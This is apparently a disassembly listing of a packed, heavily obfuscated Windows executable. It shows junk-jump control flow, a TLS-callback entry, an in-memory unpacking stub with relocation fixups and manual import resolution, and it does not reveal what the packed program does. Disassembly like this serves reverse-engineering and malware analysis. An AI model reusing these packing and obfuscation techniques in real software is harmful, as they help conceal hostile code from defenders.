; START	OF FUNCTION CHUNK FOR sub_43A713


loc_43D9A8:				; CODE XREF: sub_43A713:loc_43D1E7j
		popf


loc_43D9A9:				; DATA XREF: _5qvhby1c:0043C7E8o
		popf
		xor	al, 24h
		push	ecx
		pushf
		push	0A499CB35h
		pop	ecx
		jmp	loc_43B76C
; END OF FUNCTION CHUNK	FOR sub_43A713
; ---------------------------------------------------------------------------
		align 2
		rol	edi, 1
		jmp	loc_43A650
; ---------------------------------------------------------------------------
		align 2
		dw 0E7C1h
		dd 8B8D0F14h, 0E9FFFFD6h, 0FFFFD84Dh, 45FF0000h, 0E23AE8F0h
		dd 0FFFFh
; ---------------------------------------------------------------------------


loc_43D9DC:				; CODE XREF: _5qvhby1c:loc_43C226j
		mov	byte ptr [ebx],	87h
		pop	ebx
		add	esp, 0FFFFFF74h
		push	edx
		mov	edx, offset loc_43C8F4
		jmp	loc_43CE62
; ---------------------------------------------------------------------------


loc_43D9F1:				; CODE XREF: _5qvhby1c:0043CE6Dj
		xor	edi, 8D74928Eh
		add	edi, 175D7318h
		push	esi
		mov	esi, ecx
		jmp	loc_43C4AD
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		or	al, 24h
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		push	esi
		mov	esi, ecx
		jmp	loc_43DE4B
; ---------------------------------------------------------------------------
		dd 0DD42870Fh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_43DA1E	proc near		; CODE XREF: _5qvhby1c:0043DAA3p

; FUNCTION CHUNK AT 0043D30D SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	offset word_43DD2E
		jmp	loc_43D30D
sub_43DA1E	endp

; ---------------------------------------------------------------------------
dword_43DA2C	dd 0F611E855h, 0FFFFh, 0FFCC22E9h, 870000FFh, 895F243Ch
					; DATA XREF: sub_43B8D3:loc_43C41Ao
		dd 242C8717h, 685DFD8Bh, 43C08Bh, 0FFD118E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43DA51:				; CODE XREF: sub_43A948:loc_43C6B0j
		push	931E2EDAh
		sub	esi, 0AF6E6424h
		jmp	loc_43A7D1
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		align 2
		mov	[esi], edi
		pushf
		jmp	sub_43B30A
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp-8], eax
		push	43D9D2h
		jmp	loc_43C4F0
; ---------------------------------------------------------------------------


loc_43DA79:				; CODE XREF: _5qvhby1c:loc_43B2B0j
		test	edi, 400000h
		jmp	loc_43CD41
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43DA85:				; CODE XREF: _5qvhby1c:0043AF4Ej
		not	ebp
		xchg	ecx, [esp]
		pop	ecx
		push	ecx
		mov	ecx, 43A547h
		jmp	loc_43C13F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43DA97:				; CODE XREF: _5qvhby1c:0043DECFj
		sub	edx, 0E4D3773Ch
		and	edx, 9B3CD954h
		call	sub_43DA1E


loc_43DAA8:				; CODE XREF: sub_43A9C4+3FCj
		add	[ecx-6A8BAF40h], al
		sbb	[ecx-71B5D10h],	al
		sbb	[ebx], al
		lock pop eax
		jmp	loc_43BC08
; ---------------------------------------------------------------------------
		align 2
		push	43B72Bh


loc_43DAC3:				; CODE XREF: _5qvhby1c:loc_43A20Bj
		jmp	loc_43BC2B
; ---------------------------------------------------------------------------
		dd 11E9C100h

; =============== S U B	R O U T	I N E =======================================



sub_43DACC	proc near		; CODE XREF: sub_43B893+19F8p

; FUNCTION CHUNK AT 0043AA1F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B19F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043C960 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	esi, ds:off_43B138
		mov	ecx, ds:dword_43B140
		jmp	loc_43B19F
sub_43DACC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0ACh, 0E8h, 5Dh
; ---------------------------------------------------------------------------
		fdivr	st, st(7)
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43BFFD


loc_43DAE8:				; CODE XREF: sub_43BFFD+9j
		jmp	loc_43CA5A
; END OF FUNCTION CHUNK	FOR sub_43BFFD
; ---------------------------------------------------------------------------
		db 0FFh, 15h, 4
		dd 8B004301h, 0D55468E5h, 40E90043h, 0FFFFC7h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C317


loc_43DB01:				; CODE XREF: sub_43C317+Ej
		jmp	nullsub_227
; END OF FUNCTION CHUNK	FOR sub_43C317
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43DB07:				; CODE XREF: _5qvhby1c:0043BBB3j
		jmp	loc_43D1A0
; ---------------------------------------------------------------------------
		dd 0A058D00h, 0E90043D7h, 0FFFFFBACh, 88880F00h, 68FFFFDAh
		dd 43C448h, 0FFE04AE9h,	5F081FFh, 5BCF900Ah, 0FFDCE6E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_43DB36	proc near		; CODE XREF: sub_43A156+Ap
		xchg	ecx, [esp+0]
		push	offset loc_43A637
		jmp	sub_43CEE8
sub_43DB36	endp

; ---------------------------------------------------------------------------
		align 4
		dd 5E068959h, 30796811h, 8158622Dh, 414B61C8h, 0C4C9E99Bh
		dd 0C3FFFFh
; ---------------------------------------------------------------------------


loc_43DB5C:				; CODE XREF: _5qvhby1c:0043B396j
		pop	edi
		and	edi, 5194F2BAh
		sub	edi, 0EFBB0F3h
		rol	edi, 3
		xor	edi, 27A54F13h
		jmp	loc_43D232
; ---------------------------------------------------------------------------
		align 4

locret_43DB78:				; CODE XREF: _5qvhby1c:0043A221j
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 8Eh, 0DEh
		dd 0E900FFFFh, 0FFFFC977h, 0F0815F00h, 0AEB96492h, 681FC0C1h
		dd 43D5E6h, 0FFFA45E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43DB9B:				; CODE XREF: _5qvhby1c:loc_43BF77j
		pop	edi
		jmp	loc_43B8F0
; ---------------------------------------------------------------------------
		db 0BFh, 70h, 0B6h
		dd 0BCE90043h, 0F7FFFFE1h, 3DAF6AC1h, 0CCC5E957h, 5000FFFFh
		dd 43CB5DB8h, 0ED40E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43DBC4:				; CODE XREF: _5qvhby1c:0043D61Ej
		mov	byte ptr [esi],	8Dh
		pop	esi
		add	edx, 0CD135C27h
		call	sub_43D6B0
; ---------------------------------------------------------------------------
		db 0
		dd 87D81300h, 0C87241Ch, 0E9D98B24h, 0FFFFEE9Eh
; ---------------------------------------------------------------------------


loc_43DBE4:				; CODE XREF: _5qvhby1c:loc_43D90Bj
		and	eax, 0A5875EF2h
		add	eax, 0DBC18700h
		jmp	near ptr dword_43ADE0+42h
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43DBF7	proc near		; CODE XREF: _5qvhby1c:loc_43AF73p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 0EDF7DFBFh
		xchg	edi, [esp-4+arg_0]


loc_43DC04:				; DATA XREF: sub_43BEF5+1F82o
		fist	word ptr ds:dword_4300C0
		jmp	near ptr dword_43A344+10h
sub_43DBF7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43DC0F:				; CODE XREF: _5qvhby1c:0043A7C6j
		lea	eax, nullsub_238
		call	sub_43D6F8
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sub	edi, 0DF5CA492h
		add	edi, 65B25CE8h
		jmp	loc_43CE88
; ---------------------------------------------------------------------------
		dw 6800h
		db 0CCh
		db 0EBh, 29h, 21h
		dd 8B242C87h, 0EA815DD5h, 4DA5EBC4h, 0D4FEF281h, 0BE567224h
		dd 43DDA1h, 0FFEDA2E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_43DC52	proc near		; CODE XREF: _5qvhby1c:0043D1B7j

; FUNCTION CHUNK AT 0043C0EA SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	3030EFF2h
		ror	edx, 10h
		jmp	loc_43C0EA
sub_43DC52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 99h
		dd 0FFC50CE9h
		db 0FFh, 2 dup(0)
		db 3Ch			; DATA XREF: _5qvhby1c:0043DDA3o
		dd 0F7850FA4h, 0E9FFFFCBh, 0FFFFE9A1h, 0D781C300h, 1B38EEDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A382


loc_43DC80:				; CODE XREF: sub_43A382:loc_43C21Ej
		push	offset loc_43A081
		jmp	loc_43D421
; END OF FUNCTION CHUNK	FOR sub_43A382
; ---------------------------------------------------------------------------
		db 0
byte_43DC8B	db 3			; DATA XREF: sub_43A713:loc_43C37Do
		dd 1EC181CDh, 0A0990B61h, 0C879D09h, 0E9D0FF24h, 0FFFFC6D5h
		dd 81C5DE00h, 780D66C0h, 0ED39E8C1h, 0FFFFh, 0FFEC4BE9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_43DCB5	proc near		; CODE XREF: sub_439DA0+D8Dp
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]
		push	offset word_43D456
		jmp	nullsub_220
sub_43DCB5	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 0FFFFFD6Fh, 0E0A1E900h, 6EE9FFFFh, 0FFFFC7h,	0FE7CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43DCDE:				; CODE XREF: _5qvhby1c:0043C969j
		xchg	edx, [esp]
		pop	edx
		mov	edx, [edx]
		mov	[edx], al
		dec	dword ptr [ebp-10h]
		inc	dword ptr [ebp-4]
		push	43B27Fh
		jmp	loc_43AB32
; ---------------------------------------------------------------------------
		align 4
		xchg	ecx, [esp]
		pop	ecx
		push	ebx
		push	offset sub_43A470
		jmp	locret_43B1F3
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43DD08:				; CODE XREF: sub_43BEF5:loc_43B066j
		mov	byte ptr [ebx],	0FFh
		pop	ebx
		push	4CDF37FDh
		xchg	edi, [esp+0]
		mov	ebx, edi
		pop	edi
		jmp	loc_43D07E
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		dd 0E49A0368h, 0C6C6E9B2h, 0FD1BFFFFh, 0FFE422E9h
		db 0FFh, 0
word_43DD2E	dw 6852h		; DATA XREF: sub_43DA1E+4o
		dd 0A09B2B0Dh, 1FEA815Ah, 0E930BE02h, 0FFFFF754h
; ---------------------------------------------------------------------------


loc_43DD40:				; CODE XREF: _5qvhby1c:0043CA2Aj
		xchg	esi, [esp]
		pop	esi
		mov	esp, ebp
		push	offset loc_43D667
		jmp	near ptr dword_43C054+0Bh
; ---------------------------------------------------------------------------
		call	ds:dword_4300C0	; ExitProcess
		jmp	loc_439F05
; ---------------------------------------------------------------------------
		align 4
		dd 0D6A7E800h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B8D3


loc_43DD62:				; CODE XREF: sub_43B8D3+10j
		jmp	loc_43A455
; END OF FUNCTION CHUNK	FOR sub_43B8D3
; ---------------------------------------------------------------------------
		align 4
		dd 0E8243487h, 0FFFFCA37h, 9C00C600h, 43C0B468h, 0F4C1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43DD7E:				; CODE XREF: _5qvhby1c:0043AF7Dj
		xor	ecx, 67C16594h
		add	eax, ecx
		pop	ecx
		push	eax
		mov	eax, offset loc_43C604
		jmp	near ptr byte_43A3D9+2
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0D74BBB24h, 70E90043h, 0FFFFCBh
		db 0
; ---------------------------------------------------------------------------


loc_43DDA1:				; CODE XREF: _5qvhby1c:loc_43AA2Cj
		imul	byte ptr [edx]
		push	offset byte_43DC6B
		jmp	locret_43B176
; ---------------------------------------------------------------------------
		add	eax, 4800AEAh
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43DDB3:				; CODE XREF: sub_43B7F1:loc_43D290j
		jno	loc_439EB4
		js	loc_43D16C
		push	offset dword_43BB78
		jmp	loc_43A630
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		db 2 dup(0), 85h
		dd 0D1B5E9FEh, 0FFFFh, 830F1887h, 0FFFFC4CAh, 0FFD9DCE9h
		dd 8706C6FFh, 0EBC8815Eh, 817B48A0h, 9A1991E0h,	0D2266876h
		dd 0D0E90043h, 0FFFFEEh, 39E9C387h, 0C6FFFFECh,	87598801h
		dd 0DF8B243Ch, 0F0458B5Fh, 0E005545Bh, 0FFDF26E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43DE1A:				; DATA XREF: _5qvhby1c:loc_43ADC5o
		add	dh, al
		push	es
		xchg	ebx, [esi+59h]


loc_43DE20:				; DATA XREF: _5qvhby1c:0043A0D1o
		xchg	ecx, [esp]
		mov	ebp, ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43DE27:				; CODE XREF: _5qvhby1c:loc_43DE4Bj
		xchg	esi, [esp]
		push	3FC028C4h
		pop	ecx
		rol	ecx, 1Ah
		xor	ecx, 5BF76E6Eh
		jmp	near ptr dword_439F20+0A8h
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 8AE9DA85h, 0FFFFE3h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43DE4B:				; CODE XREF: _5qvhby1c:0043DA13j
		jmp	loc_43DE27
; ---------------------------------------------------------------------------
dword_43DE50	dd 2DE045C6h, 0F7F045FFh, 43E8F85Dh, 0FFFFF7h, 0EE7C100h
					; DATA XREF: _5qvhby1c:loc_43CCE2o
		dd 0FFE6BDE9h, 0D70300FFh, 0FFF0D5E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43DE72:				; CODE XREF: sub_43BEF5+B0j
		mov	ebp, ebx
		xchg	ebp, [esp+8+var_8]
		mov	ebx, offset loc_43DC04
		jmp	loc_43B066
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		align 2


loc_43DE82:				; CODE XREF: _5qvhby1c:loc_43CBB7j
		and	ecx, edi
		shr	edx, 19h
		popf
		jmp	loc_43CCE2
; ---------------------------------------------------------------------------
		align 2
byte_43DE8E	db 9, 0D2h		; DATA XREF: _5qvhby1c:0043B0FAo
dword_43DE90	dd 584A7h, 99E80000h		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43DE9B:				; CODE XREF: sub_43C14F-89Cj
		xchg	edx, [esp+8+var_8]
		jmp	loc_43A253
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43DEA4	proc near		; CODE XREF: _5qvhby1c:0043CFBFp
		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 0B436D8EEh
		add	ecx, ebp
		push	edi
		push	0AEF38EA0h
		pop	edi
		jmp	near ptr dword_43A5AC+34h
sub_43DEA4	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43DEBE:				; CODE XREF: _5qvhby1c:0043A667j
		xchg	esi, [esp]
		push	752A4FE9h
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		rol	edx, 1Fh
		jmp	loc_43DA97
; ---------------------------------------------------------------------------
		dd 7E28100h, 81122B2Ch,	6430FDC2h, 2DF28171h, 3F2EAC4h
		dd 6895AF2h, 0FFDE9EE9h, 9CFC1FFh, 0E9EF239Ch, 0FFFFE8BAh
		dd 7E850F00h, 0FFFFF0h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B4B3


loc_43DF05:				; CODE XREF: sub_43B4B3+7j
		jmp	loc_43B1EB
; END OF FUNCTION CHUNK	FOR sub_43B4B3
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 0E6810EC0h, 0A08FA5AEh, 61E9D2F7h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43DF1B:				; CODE XREF: _5qvhby1c:0043B1F4j
		jz	loc_43D352
		jmp	near ptr loc_43BCE8+1
; ---------------------------------------------------------------------------
		align 4


loc_43DF28:				; CODE XREF: _5qvhby1c:0043D31Fj
		jl	loc_43C7E1
; ---------------------------------------------------------------------------
		dw 0
		dd 0E919C8C1h, 0FFFFF843h, 840F0000h, 0FFFFF585h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCA4


loc_43DF42:				; CODE XREF: sub_43CCA4+5j
		jmp	nullsub_229
; END OF FUNCTION CHUNK	FOR sub_43CCA4
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2E6


loc_43DF49:				; CODE XREF: sub_43B2E6+Ej
		jmp	loc_43D8EF
; END OF FUNCTION CHUNK	FOR sub_43B2E6
; ---------------------------------------------------------------------------
		align 10h
		dd 850EE0C1h, 0F4D8E9F3h, 0FFFFh, 19E952h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43DF63:				; CODE XREF: _5qvhby1c:0043C944j
		jnz	loc_43C8E6
		add	[ecx+45E9CB87h], bl


loc_43DF6F:				; CODE XREF: _5qvhby1c:0043CFF1p
		jmp	far ptr	5DE8h:0FFFFh
; ---------------------------------------------------------------------------
		dw 0FFF1h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43DF7B	proc near		; CODE XREF: sub_43B845-121Bp

; FUNCTION CHUNK AT 00439DC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A03C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BE84 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edi
		mov	edi, offset loc_43AD45
		jmp	loc_439DC1
sub_43DF7B	endp

; ---------------------------------------------------------------------------
		push	eax
		mov	eax, 43A5C5h
		jmp	loc_43ACE5
; ---------------------------------------------------------------------------
		align 2
		dw 3487h
		dd 5EDE8B24h, 0FCB0E852h, 0FFFFh, 0F56EE99Ch
		db 2 dup(0FFh),	0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DFAB	proc near		; CODE XREF: sub_43C317+4p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E102 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_422000
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax


loc_43DFC3:				; CODE XREF: sub_43DFAB+15Dj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_43E05B
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_4300B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_43DFF0
		push	ebx
		call	ds:dword_4300B8	; LoadLibraryA
		or	eax, eax
		jz	loc_43E053


loc_43DFF0:				; CODE XREF: sub_43DFAB+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]


loc_43DFF8:				; CODE XREF: sub_43DFAB+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_43E008
		mov	eax, [esi+10h]


loc_43E008:				; CODE XREF: sub_43DFAB+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_43E102
		test	ebx, 80000000h
		jnz	loc_43E02F
		lea	ebx, [ebx+edx+2]


loc_43E02F:				; CODE XREF: sub_43DFAB+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_4300BC	; GetProcAddress
		or	eax, eax
		jz	loc_43E053
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_43DFF8
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E053:				; CODE XREF: sub_43DFAB+3Fj
					; sub_43DFAB+96j
		push	ebx
		mov	eax, ebx
		call	sub_43E064


loc_43E05B:				; CODE XREF: sub_43DFAB+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_43DFAB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E064	proc near		; CODE XREF: sub_43DFAB+ABp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_43E09B:				; CODE XREF: sub_43E064+99j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_43E0DC
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax


loc_43E0C6:				; CODE XREF: _5qvhby1c:0043C926j
		push	0
		call	ds:dword_430104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_4300C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43E0DC:				; CODE XREF: sub_43E064+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_43E09B
sub_43E064	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFAB


loc_43E102:				; CODE XREF: sub_43DFAB+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_43DFC3
; END OF FUNCTION CHUNK	FOR sub_43DFAB

; =============== S U B	R O U T	I N E =======================================



sub_43E10D	proc near		; CODE XREF: sub_43B7FC+1681p startp ...
		mov	eax, offset sub_439DA0

locret_43E112:				; DATA XREF: sub_43E113+8o
		retn
sub_43E10D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E113	proc near		; DATA XREF: _5qvhby1c:off_43B138o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp+14h+var_14]
		sub	ebx, offset locret_43E112
		mov	eax, 34FAh
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_4300C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset sub_439DA0
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_439C1C
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp+10h+var_10]
		push	8000h
		push	0
		push	eax
		mov	eax, 4300C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_43E1C8
		mov	ebx, eax
		call	loc_43E229
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43E1C8
		push	ebx
		mov	ebx, ecx


loc_43E193:				; CODE XREF: sub_43E113+91j
					; sub_43E113+A4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_43E1A6
		and	eax, 0FFh
		jmp	short loc_43E193
; ---------------------------------------------------------------------------


loc_43E1A6:				; CODE XREF: sub_43E113+8Aj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_43E1B9
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_43E193
; ---------------------------------------------------------------------------


loc_43E1B9:				; CODE XREF: sub_43E113+9Bj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_43E193
		pop	eax


loc_43E1C8:				; CODE XREF: sub_43E113+6Dj
					; sub_43E113+7Bj
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_43E113	endp

; ---------------------------------------------------------------------------
		db 0AFh, 77h, 44h
		dd 8CE769Ch, 0FF3C8736h, 50301684h, 63431A02h, 4BC16DA1h
		dd 0F0A021FDh, 20DB702Fh, 0B368195Fh, 146E4111h, 0DC23855Dh
		dd 0A77D14E6h, 0DB89C3B2h, 7976571Dh, 94E66EC1h, 8FF156A2h
		dd 6FA03393h
		db 8

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_43E10D
		add	eax, 4D8h
		jmp	eax
start		endp


; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: _5qvhby1c:TlsCallbackso
		call	sub_43E10D
		add	eax, 8CEh
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_43E229:				; CODE XREF: sub_43E113+71p
		call	sub_43E232
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_43E232	proc near		; CODE XREF: _5qvhby1c:loc_43E229p
		pop	esi
		retn
sub_43E232	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0A8D3FF00h, 0B80382EAh, 0D7065F14h, 50EBAAB8h, 712E9A6Ah
		dd 0C7C577ABh, 0C0F93744h, 59697D57h, 0A6A65068h, 220B1FD1h
		dd 0F7E405EBh, 631CCB09h, 0A6B7428Ch, 64F51087h, 8E87352Eh
		dd 7B0219Fh, 354D5B86h,	975B5F92h, 0C61F52A9h, 0C91CDEE5h
		dd 878AADA8h, 0C98780B1h, 7E9295CCh, 67412F3Eh,	165536C5h
		dd 0B734707Bh, 0BC3F10C4h, 79EDE708h, 0BA210F79h, 633A6D4Dh
		dd 46516FB4h, 2FEA767Bh, 93C93FB6h, 0A4E21678h,	7685C3D7h
		dd 0C8D4A1DDh, 0AEAB246Ah, 97DF2AD6h, 8F570365h, 0DD9C39D3h
		dd 1F727528h, 0EDF92071h, 0E5364ACAh, 0BF314A09h, 3CA06EE6h
		dd 5D6441Ah, 0DDB3868Fh, 0F7730400h, 9B72E0A7h,	26F19C4Bh
		dd 35838FC2h, 0ACD356FEh, 920C782Bh, 0CB30EA5Ah, 6599A2B1h
		dd 83DB3AF3h, 509D0FD5h, 0E5969C29h, 30A445B4h,	1CE14B8h
		dd 0AA672B64h, 80CAB84Ch, 49BD0599h, 0F1006ED8h, 0EBD01A17h
		dd 0EA69132Fh, 0C49388F6h, 0B8ECFAE8h, 5A49EE9h, 8EEDCE7Fh
		dd 80F28113h, 846D2BBDh, 48D20EB1h, 0EB2F9356h,	321AD18Ch
		dd 0AC42CD63h, 0B164BEC7h, 1825961Bh, 8C4CA048h, 1D924354h
		dd 0D25D41DFh, 61322559h, 0C357BA08h, 44A9B289h, 0F3DE1D8Dh
		dd 0DD9E6FBh, 8FE5E905h, 2C2A64DAh, 1F5550C3h, 0EE25C42h
		dd 779201AAh, 0DCD4749Bh, 2BB0CEEh, 0F88989C3h,	0B5AECEB4h
		dd 0EBB1A813h, 52B385D8h, 0DD32799h, 0AECC613Ah, 62425B38h
		dd 0F1DD9927h, 0AB753FACh, 0F657B99Dh, 0C5BD37CCh, 5D4FEDF3h
		dd 0CB45B7CEh, 0ABAEB292h, 1DFCD972h, 0BEC3E80Eh, 792D0E4Ah
		dd 6EE2EB56h, 0C3D2099Dh, 899429A2h, 0DD710B16h, 0EF0E6894h
		dd 300h	dup(0)
_5qvhby1c	ends

; Section 6. (virtual address 0003F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0003F000
; Flags	40000080: Bss Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read
c9dxisfm	segment	para public 'BSS' use32
		assume cs:c9dxisfm
		;org 43F000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 7CFF1DEh, 527AC518h,	80DE8589h, 940AC6EDh, 0C637105Ah
		dd 2C42F41Bh, 9C5F9AFCh, 867284FBh, 875F819Dh, 70728468h
		dd 19BB959Fh, 0E09CE9EDh, 4A839D84h, 0F5587E7Bh, 0F005E2F5h
		dd 14BC1DEBh, 22792CD4h, 31F092D6h, 49E0D6D6h, 94CA413Fh
